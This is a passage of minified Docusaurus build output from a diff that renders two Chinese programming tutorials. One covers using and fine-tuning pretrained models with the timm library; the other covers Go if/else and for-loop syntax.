20:53:20"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,i.jsx)(n.h1,{id:"63-\u6a21\u578b\u5fae\u8c03---timm",children:"6.3 \u6a21\u578b\u5fae\u8c03 - timm"}),"\n",(0,i.jsxs)(n.p,{children:["\u9664\u4e86\u4f7f\u7528",(0,i.jsx)(n.code,{children:"torchvision.models"}),"\u8fdb\u884c\u9884\u8bad\u7ec3\u4ee5\u5916\uff0c\u8fd8\u6709\u4e00\u4e2a\u5e38\u89c1\u7684\u9884\u8bad\u7ec3\u6a21\u578b\u5e93\uff0c\u53eb\u505a",(0,i.jsx)(n.code,{children:"timm"}),"\uff0c\u8fd9\u4e2a\u5e93\u662f\u7531Ross Wightman\u521b\u5efa\u7684\u3002\u91cc\u9762\u63d0\u4f9b\u4e86\u8bb8\u591a\u8ba1\u7b97\u673a\u89c6\u89c9\u7684SOTA\u6a21\u578b\uff0c\u53ef\u4ee5\u5f53\u4f5c\u662ftorchvision\u7684\u6269\u5145\u7248\u672c\uff0c\u5e76\u4e14\u91cc\u9762\u7684\u6a21\u578b\u5728\u51c6\u786e\u5ea6\u4e0a\u4e5f\u8f83\u9ad8\u3002\u5728\u672c\u7ae0\u5185\u5bb9\u4e2d\uff0c\u6211\u4eec\u4e3b\u8981\u662f\u9488\u5bf9\u8fd9\u4e2a\u5e93\u7684\u9884\u8bad\u7ec3\u6a21\u578b\u7684\u4f7f\u7528\u505a\u53d9\u8ff0\uff0c\u5176\u4ed6\u90e8\u5206\u5185\u5bb9\uff08\u6570\u636e\u6269\u589e\uff0c\u4f18\u5316\u5668\u7b49\uff09\u5982\u679c\u5927\u5bb6\u611f\u5174\u8da3\uff0c\u53ef\u4ee5\u53c2\u8003\u4ee5\u4e0b\u4e24\u4e2a\u94fe\u63a5\u3002"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["Github\u94fe\u63a5\uff1a",(0,i.jsx)(n.a,{href:"https://github.com/rwightman/pytorch-image-models",children:"https://github.com/rwightman/pytorch-image-models"})]}),"\n",(0,i.jsxs)(n.li,{children:["\u5b98\u7f51\u94fe\u63a5\uff1a",(0,i.jsx)(n.a,{href:"https://fastai.github.io/timmdocs/",children:"https://fastai.github.io/timmdocs/"}),"\n",(0,i.jsx)(n.a,{href:"https://rwightman.github.io/pytorch-image-models/",children:"https://rwightman.github.io/pytorch-image-models/"})]}),"\n"]}),"\n",(0,i.jsx)(n.h2,{id:"631-timm\u7684\u5b89\u88c5",children:"6.3.1 timm\u7684\u5b89\u88c5"}),"\n",(0,i.jsx)(n.p,{children:"\u5173\u4e8etimm\u7684\u5b89\u88c5\uff0c\u6211\u4eec\u53ef\u4ee5\u9009\u62e9\u4ee5\u4e0b\u4e24\u79cd\u65b9\u5f0f\u8fdb\u884c\uff1a"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsx)(n.li,{children:"\u901a\u8fc7pip\u5b89\u88c5"}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-shell",children:"pip install timm\n"})}),"\n",(0,i.jsxs)(n.ol,{start:"2",children:["\n",(0,i.jsx)(n.li,{children:"\u901a\u8fc7\u6e90\u7801\u7f16\u8bd1\u5b89\u88c5"}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-shell",children:"git clone https://github.com/rwightman/pytorch-image-models\ncd pytorch-image-models && pip install -e .\n"})}),"\n",(0,i.jsx)(n.h2,{id:"632-\u5982\u4f55\u67e5\u770b\u9884\u8bad\u7ec3\u6a21\u578b\u79cd\u7c7b",children:"6.3.2 \u5982\u4f55\u67e5\u770b\u9884\u8bad\u7ec3\u6a21\u578b\u79cd\u7c7b"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsxs)(n.li,{children:["\u67e5\u770btimm\u63d0\u4f9b\u7684\u9884\u8bad\u7ec3\u6a21\u578b\n\u622a\u6b62\u52302022.3.27\u65e5\u4e3a\u6b62\uff0ctimm\u63d0\u4f9b\u7684\u9884\u8bad\u7ec3\u6a21\u578b\u5df2\u7ecf\u8fbe\u5230\u4e86592\u4e2a\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,i.jsx)(n.code,{children:"timm.list_models()"}),"\u65b9\u6cd5\u67e5\u770btimm\u63d0\u4f9b\u7684\u9884\u8bad\u7ec3\u6a21\u578b\uff08\u6ce8\uff1a\u672c\u7ae0\u6d4b\u8bd5\u4ee3\u7801\u5747\u662f\u5728jupyter notebook\u4e0a\u8fdb\u884c\uff09"]}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"import timm\navail_pretrained_models = timm.list_models(pretrained=True)\nlen(avail_pretrained_models)\n"})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-shell",children:"592\n"})}),"\n",(0,i.jsxs)(n.ol,{start:"2",children:["\n",(0,i.jsxs)(n.li,{children:["\u67e5\u770b\u7279\u5b9a\u6a21\u578b\u7684\u6240\u6709\u79cd\u7c7b\n\u6bcf\u4e00\u79cd\u7cfb\u5217\u53ef\u80fd\u5bf9\u5e94\u7740\u4e0d\u540c\u65b9\u6848\u7684\u6a21\u578b\uff0c\u6bd4\u5982Resnet\u7cfb\u5217\u5c31\u5305\u62ec\u4e86ResNet18\uff0c50\uff0c101\u7b49\u6a21\u578b\uff0c\u6211\u4eec\u53ef\u4ee5\u5728",(0,i.jsx)(n.code,{children:"timm.list_models()"}),"\u4f20\u5165\u60f3\u67e5\u8be2\u7684\u6a21\u578b\u540d\u79f0\uff08\u6a21\u7cca\u67e5\u8be2\uff09\uff0c\u6bd4\u5982\u6211\u4eec\u60f3\u67e5\u8be2densenet\u7cfb\u5217\u7684\u6240\u6709\u6a21\u578b\u3002"]}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:'all_densnet_models = timm.list_models("*densenet*")\nall_densnet_models\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u6211\u4eec\u53d1\u73b0\u4ee5\u5217\u8868\u7684\u5f62\u5f0f\u8fd4\u56de\u4e86\u6240\u6709densenet\u7cfb\u5217\u7684\u6240\u6709\u6a21\u578b\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-shell",children:"['densenet121',\n 'densenet121d',\n 'densenet161',\n 'densenet169',\n 'densenet201',\n 'densenet264',\n 'densenet264d_iabn',\n 'densenetblur121d',\n 'tv_densenet121']\n"})}),"\n",(0,i.jsxs)(n.ol,{start:"3",children:["\n",(0,i.jsxs)(n.li,{children:["\u67e5\u770b\u6a21\u578b\u7684\u5177\u4f53\u53c2\u6570\n\u5f53\u6211\u4eec\u60f3\u67e5\u770b\u4e0b\u6a21\u578b\u7684\u5177\u4f53\u53c2\u6570\u7684\u65f6\u5019\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u8bbf\u95ee\u6a21\u578b\u7684",(0,i.jsx)(n.code,{children:"default_cfg"}),"\u5c5e\u6027\u6765\u8fdb\u884c\u67e5\u770b\uff0c\u5177\u4f53\u64cd\u4f5c\u5982\u4e0b"]}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"model = timm.create_model('resnet34',num_classes=10,pretrained=True)\nmodel.default_cfg\n"})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"{'url': 'https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-weights/resnet34-43635321.pth',\n 'num_classes': 1000,\n 'input_size': (3, 224, 224),\n 'pool_size': (7, 7),\n 'crop_pct': 0.875,\n 'interpolation': 'bilinear',\n 'mean': (0.485, 0.456, 0.406),\n 'std': (0.229, 0.224, 0.225),\n 'first_conv': 'conv1',\n 'classifier': 'fc',\n 'architecture': 'resnet34'}\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u9664\u6b64\u4e4b\u5916\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u8bbf\u95ee\u8fd9\u4e2a",(0,i.jsx)(n.a,{href:"https://rwightman.github.io/pytorch-image-models/results/",children:"\u94fe\u63a5"})," \u67e5\u770b\u63d0\u4f9b\u7684\u9884\u8bad\u7ec3\u6a21\u578b\u7684\u51c6\u786e\u5ea6\u7b49\u4fe1\u606f\u3002"]}),"\n",(0,i.jsx)(n.h2,{id:"633-\u4f7f\u7528\u548c\u4fee\u6539\u9884\u8bad\u7ec3\u6a21\u578b",children:"6.3.3 \u4f7f\u7528\u548c\u4fee\u6539\u9884\u8bad\u7ec3\u6a21\u578b"}),"\n",(0,i.jsxs)(n.p,{children:["\u5728\u5f97\u5230\u6211\u4eec\u60f3\u8981\u4f7f\u7528\u7684\u9884\u8bad\u7ec3\u6a21\u578b\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,i.jsx)(n.code,{children:"timm.create_model()"}),"\u7684\u65b9\u6cd5\u6765\u8fdb\u884c\u6a21\u578b\u7684\u521b\u5efa\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4f20\u5165\u53c2\u6570",(0,i.jsx)(n.code,{children:"pretrained=True"}),"\uff0c\u6765\u4f7f\u7528\u9884\u8bad\u7ec3\u6a21\u578b\u3002\u540c\u6837\u7684\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u4f7f\u7528\u8ddftorchvision\u91cc\u9762\u7684\u6a21\u578b\u4e00\u6837\u7684\u65b9\u6cd5\u67e5\u770b\u6a21\u578b\u7684\u53c2\u6570\uff0c\u7c7b\u578b/"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"import timm\nimport torch\n\nmodel = timm.create_model('resnet34',pretrained=True)\nx = torch.randn(1,3,224,224)\noutput = model(x)\noutput.shape\n"})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-shell",children:"torch.Size([1, 1000])\n"})}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u67e5\u770b\u67d0\u4e00\u5c42\u6a21\u578b\u53c2\u6570\uff08\u4ee5\u7b2c\u4e00\u5c42\u5377\u79ef\u4e3a\u4f8b\uff09"}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"model = timm.create_model('resnet34',pretrained=True)\nlist(dict(model.named_children())['conv1'].parameters())\n"})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"[Parameter containing:\n tensor([[[[-2.9398e-02, -3.6421e-02, -2.8832e-02, ..., -1.8349e-02,\n -6.9210e-03, 1.2127e-02],\n [-3.6199e-02, -6.0810e-02, -5.3891e-02, ..., -4.2744e-02,\n -7.3169e-03, -1.1834e-02],\n ...\n [ 8.4563e-03, -1.7099e-02, -1.2176e-03, ..., 7.0081e-02,\n 2.9756e-02, -4.1400e-03]]]], requires_grad=True)]\n \n"})}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u4fee\u6539\u6a21\u578b\uff08\u5c061000\u7c7b\u6539\u4e3a10\u7c7b\u8f93\u51fa\uff09"}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"model = timm.create_model('resnet34',num_classes=10,pretrained=True)\nx = torch.randn(1,3,224,224)\noutput = model(x)\noutput.shape\n"})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"torch.Size([1, 10])\n"})}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\u6539\u53d8\u8f93\u5165\u901a\u9053\u6570\uff08\u6bd4\u5982\u6211\u4eec\u4f20\u5165\u7684\u56fe\u7247\u662f\u5355\u901a\u9053\u7684\uff0c\u4f46\u662f\u6a21\u578b\u9700\u8981\u7684\u662f\u4e09\u901a\u9053\u56fe\u7247\uff09\n\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u6dfb\u52a0",(0,i.jsx)(n.code,{children:"in_chans=1"}),"\u6765\u6539\u53d8"]}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"model = timm.create_model('resnet34',num_classes=10,pretrained=True,in_chans=1)\nx = torch.randn(1,1,224,224)\noutput = model(x)\n"})}),"\n",(0,i.jsx)(n.h2,{id:"634-\u6a21\u578b\u7684\u4fdd\u5b58",children:"6.3.4 \u6a21\u578b\u7684\u4fdd\u5b58"}),"\n",(0,i.jsxs)(n.p,{children:["timm\u5e93\u6240\u521b\u5efa\u7684\u6a21\u578b\u662f",(0,i.jsx)(n.code,{children:"torch.model"}),"\u7684\u5b50\u7c7b\uff0c\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528torch\u5e93\u4e2d\u5185\u7f6e\u7684\u6a21\u578b\u53c2\u6570\u4fdd\u5b58\u548c\u52a0\u8f7d\u7684\u65b9\u6cd5\uff0c\u5177\u4f53\u64cd\u4f5c\u5982\u4e0b\u65b9\u4ee3\u7801\u6240\u793a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"torch.save(model.state_dict(),'./checkpoint/timm_model.pth')\nmodel.load_state_dict(torch.load('./checkpoint/timm_model.pth'))\n"})}),"\n",(0,i.jsx)(n.h2,{id:"\u53c2\u8003\u6750\u6599",children:"\u53c2\u8003\u6750\u6599"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsx)(n.li,{children:(0,i.jsx)(n.a,{href:"https://www.aiuai.cn/aifarm1967.html",children:"https://www.aiuai.cn/aifarm1967.html"})}),"\n",(0,i.jsx)(n.li,{children:(0,i.jsx)(n.a,{href:"https://towardsdatascience.com/getting-started-with-pytorch-image-models-timm-a-practitioners-guide-4e77b4bf9055",children:"https://towardsdatascience.com/getting-started-with-pytorch-image-models-timm-a-practitioners-guide-4e77b4bf9055"})}),"\n",(0,i.jsx)(n.li,{children:(0,i.jsx)(n.a,{href:"https://chowdera.com/2022/03/202203170834122729.html",children:"https://chowdera.com/2022/03/202203170834122729.html"})}),"\n"]})]})}function o(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/assets/js/11b8a360.d9511790.js b/assets/js/11b8a360.d9511790.js new file mode 100644 index 0000000..01d6523 --- /dev/null +++ b/assets/js/11b8a360.d9511790.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4345],{28453:(n,e,t)=>{t.d(e,{R:()=>s,x:()=>l});var c=t(96540);const i={},r=c.createContext(i);function s(n){const e=c.useContext(r);return c.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:s(n.components),c.createElement(r.Provider,{value:e},n.children)}},64441:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>o,contentTitle:()=>l,default:()=>h,frontMatter:()=>s,metadata:()=>c,toc:()=>d});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6d41\u7a0b\u63a7\u5236","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6d41\u7a0b\u63a7\u5236","description":"if else(\u5206\u652f\u7ed3\u6784)","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/05.GoLang-\u6d41\u7a0b\u63a7\u5236.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6d41\u7a0b\u63a7\u5236","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6d41\u7a0b\u63a7\u5236","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/05.GoLang-\u6d41\u7a0b\u63a7\u5236.md","tags":[],"version":"current","sidebarPosition":5,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"GoLang-\u8fd0\u7b97\u7b26","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u8fd0\u7b97\u7b26"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6570\u7ec4","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u7ec4"}}');var i=t(74848),r=t(28453);const s={},l="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6d41\u7a0b\u63a7\u5236",o={},d=[{value:"if else(\u5206\u652f\u7ed3\u6784)",id:"if-else\u5206\u652f\u7ed3\u6784",level:2},{value:"if\u6761\u4ef6\u5224\u65ad\u57fa\u672c\u5199\u6cd5",id:"if\u6761\u4ef6\u5224\u65ad\u57fa\u672c\u5199\u6cd5",level:3},{value:"if\u6761\u4ef6\u5224\u65ad\u7279\u6b8a\u5199\u6cd5",id:"if\u6761\u4ef6\u5224\u65ad\u7279\u6b8a\u5199\u6cd5",level:3},{value:"for(\u5faa\u73af\u7ed3\u6784)",id:"for\u5faa\u73af\u7ed3\u6784",level:2},{value:"\u65e0\u9650\u5faa\u73af",id:"\u65e0\u9650\u5faa\u73af",level:3},{value:"for range(\u952e\u503c\u5faa\u73af)",id:"for-range\u952e\u503c\u5faa\u73af",level:2},{value:"switch case",id:"switch-case",level:2},{value:"goto(\u8df3\u8f6c\u5230\u6307\u5b9a\u6807\u7b7e)",id:"goto\u8df3\u8f6c\u5230\u6307\u5b9a\u6807\u7b7e",level:2},{value:"break(\u8df3\u51fa\u5faa\u73af)",id:"break\u8df3\u51fa\u5faa\u73af",level:2},{value:"continue(\u7ee7\u7eed\u4e0b\u6b21\u5faa\u73af)",id:"continue\u7ee7\u7eed\u4e0b\u6b21\u5faa\u73af",level:2}];function a(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",...(0,r.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u6d41\u7a0b\u63a7\u5236",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6d41\u7a0b\u63a7\u5236"})}),"\n",(0,i.jsx)(e.h2,{id:"if-else\u5206\u652f\u7ed3\u6784",children:"if else(\u5206\u652f\u7ed3\u6784)"}),"\n",(0,i.jsx)(e.h3,{id:"if\u6761\u4ef6\u5224\u65ad\u57fa\u672c\u5199\u6cd5",children:"if\u6761\u4ef6\u5224\u65ad\u57fa\u672c\u5199\u6cd5"}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d",(0,i.jsx)(e.code,{children:"if"}),"\u6761\u4ef6\u5224\u65ad\u7684\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"if \u8868\u8fbe\u5f0f1 {\n \u5206\u652f1\n} else if \u8868\u8fbe\u5f0f2 {\n \u5206\u652f2\n} else{\n \u5206\u652f3\n}\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5f53\u8868\u8fbe\u5f0f1\u7684\u7ed3\u679c\u4e3a",(0,i.jsx)(e.code,{children:"true"}),"\u65f6\uff0c\u6267\u884c\u5206\u652f1\uff0c\u5426\u5219\u5224\u65ad\u8868\u8fbe\u5f0f2\uff0c\u5982\u679c\u6ee1\u8db3\u5219\u6267\u884c\u5206\u652f2\uff0c\u90fd\u4e0d\u6ee1\u8db3\u65f6\uff0c\u5219\u6267\u884c\u5206\u652f3\u3002 if\u5224\u65ad\u4e2d\u7684",(0,i.jsx)(e.code,{children:"else if"}),"\u548c",(0,i.jsx)(e.code,{children:"else"}),"\u90fd\u662f\u53ef\u9009\u7684\uff0c\u53ef\u4ee5\u6839\u636e\u5b9e\u9645\u9700\u8981\u8fdb\u884c\u9009\u62e9\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u89c4\u5b9a\u4e0e",(0,i.jsx)(e.code,{children:"if"}),"\u5339\u914d\u7684\u5de6\u62ec\u53f7",(0,i.jsx)(e.code,{children:"{"}),"\u5fc5\u987b\u4e0e",(0,i.jsx)(e.code,{children:"if\u548c\u8868\u8fbe\u5f0f"}),"\u653e\u5728\u540c\u4e00\u884c\uff0c",(0,i.jsx)(e.code,{children:"{"}),"\u653e\u5728\u5176\u4ed6\u4f4d\u7f6e\u4f1a\u89e6\u53d1\u7f16\u8bd1\u9519\u8bef\u3002 \u540c\u7406\uff0c\u4e0e",(0,i.jsx)(e.code,{children:"else"}),"\u5339\u914d\u7684",(0,i.jsx)(e.code,{children:"{"}),"\u4e5f\u5fc5\u987b\u4e0e",(0,i.jsx)(e.code,{children:"else"}),"\u5199\u5728\u540c\u4e00\u884c\uff0c",(0,i.jsx)(e.code,{children:"else"}),"\u4e5f\u5fc5\u987b\u4e0e\u4e0a\u4e00\u4e2a",(0,i.jsx)(e.code,{children:"if"}),"\u6216",(0,i.jsx)(e.code,{children:"else if"}),"\u53f3\u8fb9\u7684\u5927\u62ec\u53f7\u5728\u540c\u4e00\u884c\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func ifDemo1() {\n\tscore := 65\n\tif score >= 90 {\n\t\tfmt.Println("A")\n\t} else if score > 75 {\n\t\tfmt.Println("B")\n\t} else {\n\t\tfmt.Println("C")\n\t}\n}\n'})}),"\n",(0,i.jsx)(e.h3,{id:"if\u6761\u4ef6\u5224\u65ad\u7279\u6b8a\u5199\u6cd5",children:"if\u6761\u4ef6\u5224\u65ad\u7279\u6b8a\u5199\u6cd5"}),"\n",(0,i.jsx)(e.p,{children:"if\u6761\u4ef6\u5224\u65ad\u8fd8\u6709\u4e00\u79cd\u7279\u6b8a\u7684\u5199\u6cd5\uff0c\u53ef\u4ee5\u5728 if \u8868\u8fbe\u5f0f\u4e4b\u524d\u6dfb\u52a0\u4e00\u4e2a\u6267\u884c\u8bed\u53e5\uff0c\u518d\u6839\u636e\u53d8\u91cf\u503c\u8fdb\u884c\u5224\u65ad\uff0c\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func ifDemo2() {\n\tif score := 65; score >= 90 {\n\t\tfmt.Println("A")\n\t} else if score > 75 {\n\t\tfmt.Println("B")\n\t} else {\n\t\tfmt.Println("C")\n\t}\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u601d\u8003\u9898\uff1a"})," \u4e0a\u4e0b\u4e24\u79cd\u5199\u6cd5\u7684\u533a\u522b\u5728\u54ea\u91cc\uff1f"]}),"\n",(0,i.jsx)(e.h2,{id:"for\u5faa\u73af\u7ed3\u6784",children:"for(\u5faa\u73af\u7ed3\u6784)"}),"\n",(0,i.jsxs)(e.p,{children:["Go \u8bed\u8a00\u4e2d\u7684\u6240\u6709\u5faa\u73af\u7c7b\u578b\u5747\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(e.code,{children:"for"}),"\u5173\u952e\u5b57\u6765\u5b8c\u6210\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"for\u5faa\u73af\u7684\u57fa\u672c\u683c\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"for \u521d\u59cb\u8bed\u53e5;\u6761\u4ef6\u8868\u8fbe\u5f0f;\u7ed3\u675f\u8bed\u53e5{\n \u5faa\u73af\u4f53\u8bed\u53e5\n}\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6761\u4ef6\u8868\u8fbe\u5f0f\u8fd4\u56de",(0,i.jsx)(e.code,{children:"true"}),"\u65f6\u5faa\u73af\u4f53\u4e0d\u505c\u5730\u8fdb\u884c\u5faa\u73af\uff0c\u76f4\u5230\u6761\u4ef6\u8868\u8fbe\u5f0f\u8fd4\u56de",(0,i.jsx)(e.code,{children:"false"}),"\u65f6\u81ea\u52a8\u9000\u51fa\u5faa\u73af\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"func forDemo() {\n\tfor i := 0; i < 10; i++ {\n\t\tfmt.Println(i)\n\t}\n}\n"})}),"\n",(0,i.jsx)(e.p,{children:"for\u5faa\u73af\u7684\u521d\u59cb\u8bed\u53e5\u53ef\u4ee5\u88ab\u5ffd\u7565\uff0c\u4f46\u662f\u521d\u59cb\u8bed\u53e5\u540e\u7684\u5206\u53f7\u5fc5\u987b\u8981\u5199\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"func forDemo2() {\n\ti := 0\n\tfor ; i < 10; i++ {\n\t\tfmt.Println(i)\n\t}\n}\n"})}),"\n",(0,i.jsx)(e.p,{children:"for\u5faa\u73af\u7684\u521d\u59cb\u8bed\u53e5\u548c\u7ed3\u675f\u8bed\u53e5\u90fd\u53ef\u4ee5\u7701\u7565\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"func forDemo3() {\n\ti := 0\n\tfor i < 10 {\n\t\tfmt.Println(i)\n\t\ti++\n\t}\n}\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u79cd\u5199\u6cd5\u7c7b\u4f3c\u4e8e\u5176\u4ed6\u7f16\u7a0b\u8bed\u8a00\u4e2d\u7684",(0,i.jsx)(e.code,{children:"while"}),"\uff0c\u5728",(0,i.jsx)(e.code,{children:"while"}),"\u540e\u6dfb\u52a0\u4e00\u4e2a\u6761\u4ef6\u8868\u8fbe\u5f0f\uff0c\u6ee1\u8db3\u6761\u4ef6\u8868\u8fbe\u5f0f\u65f6\u6301\u7eed\u5faa\u73af\uff0c\u5426\u5219\u7ed3\u675f\u5faa\u73af\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u65e0\u9650\u5faa\u73af",children:"\u65e0\u9650\u5faa\u73af"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"for {\n \u5faa\u73af\u4f53\u8bed\u53e5\n}\n"})}),"\n",(0,i.jsxs)(e.p,{children:["for\u5faa\u73af\u53ef\u4ee5\u901a\u8fc7",(0,i.jsx)(e.code,{children:"break"}),"\u3001",(0,i.jsx)(e.code,{children:"goto"}),"\u3001",(0,i.jsx)(e.code,{children:"return"}),"\u3001",(0,i.jsx)(e.code,{children:"panic"}),"\u8bed\u53e5\u5f3a\u5236\u9000\u51fa\u5faa\u73af\u3002"]}),"\n",(0,i.jsx)(e.h2,{id:"for-range\u952e\u503c\u5faa\u73af",children:"for range(\u952e\u503c\u5faa\u73af)"}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(e.code,{children:"for range"}),"\u904d\u5386\u6570\u7ec4\u3001\u5207\u7247\u3001\u5b57\u7b26\u4e32\u3001map \u53ca\u901a\u9053\uff08channel\uff09\u3002 \u901a\u8fc7",(0,i.jsx)(e.code,{children:"for 